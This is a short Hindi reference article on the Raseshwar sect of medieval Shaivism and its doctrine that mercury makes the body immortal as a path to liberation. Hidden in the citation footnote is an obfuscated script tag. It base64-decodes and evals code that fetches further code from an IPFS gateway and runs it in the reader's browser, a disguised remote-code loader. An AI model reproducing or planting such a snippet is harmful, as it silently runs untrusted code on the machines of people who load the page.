रसेश्वर

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रसेश्वर एक मध्यकालीन सम्प्रदाय। शैव दर्शन में रसेश्वर सम्प्रदाय भी आता है। मध्यकालीन शैवों के दो मुख्य सम्प्रदाय थे- 'पाशुपत' तथा 'आगमिक' एवं इन दोनों के भी पुनर्विभाजन थे। पाशुपत के छ: विभाग थे, जिनमें छठा वर्ग ‘रसेश्वरों’ का था।[1]

  • माधव ने रसेश्वर वर्ग का वर्णन ’सर्वदर्शनसंग्रह’ में किया है। यह उपसम्प्रदाय अधिक दिनों तक नहीं चल सका।
  • इस सम्प्रदाय का अनोखा सिद्धांत यह था कि शरीर को अमर बनाये बिना मोक्ष नहीं प्राप्त हो सकता और यह अमर शरीर केवल रस (पारद) की सहायता से ही प्राप्त किया जा सकता है, जिसे वे शिवपार्वती के सर्जनात्मक मिलन के फलस्वरूप ही उत्पन्न मानते थे।
  • दिव्य शरीर प्राप्त करने के बाद भक्त योगाभ्यास से परम तत्त्व का आंतरिकज्ञान प्राप्त करता है तथा इस जीवन से मुक्त हो जाता है।
  • अनेक प्राचीन आचार्य तथा ग्रंथ रसेश्वर मत से सम्बंधित कहे गये हैं।
  • पदार्थनिर्णय के सम्बंध में प्रत्यभिज्ञा और रसेश्वर दोनों दर्शनों का मत प्राय: समान है। रसेश्वर दर्शन के अद्वैत सिद्धांत के पोषक हैं।
  • विक्रम की दसवीं शताब्दी में सोमानंद ने 'शिवदृष्टि' नामक ग्रंथ लिखकर इस मत की अच्छी व्याख्या की थी।


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टीका टिप्पणी और संदर्भ

  1. हिन्दू धर्मकोश |लेखक: डॉ. राजबली पाण्डेय |प्रकाशक: उत्तर प्रदेश हिन्दी संस्थान |पृष्ठ संख्या: 545 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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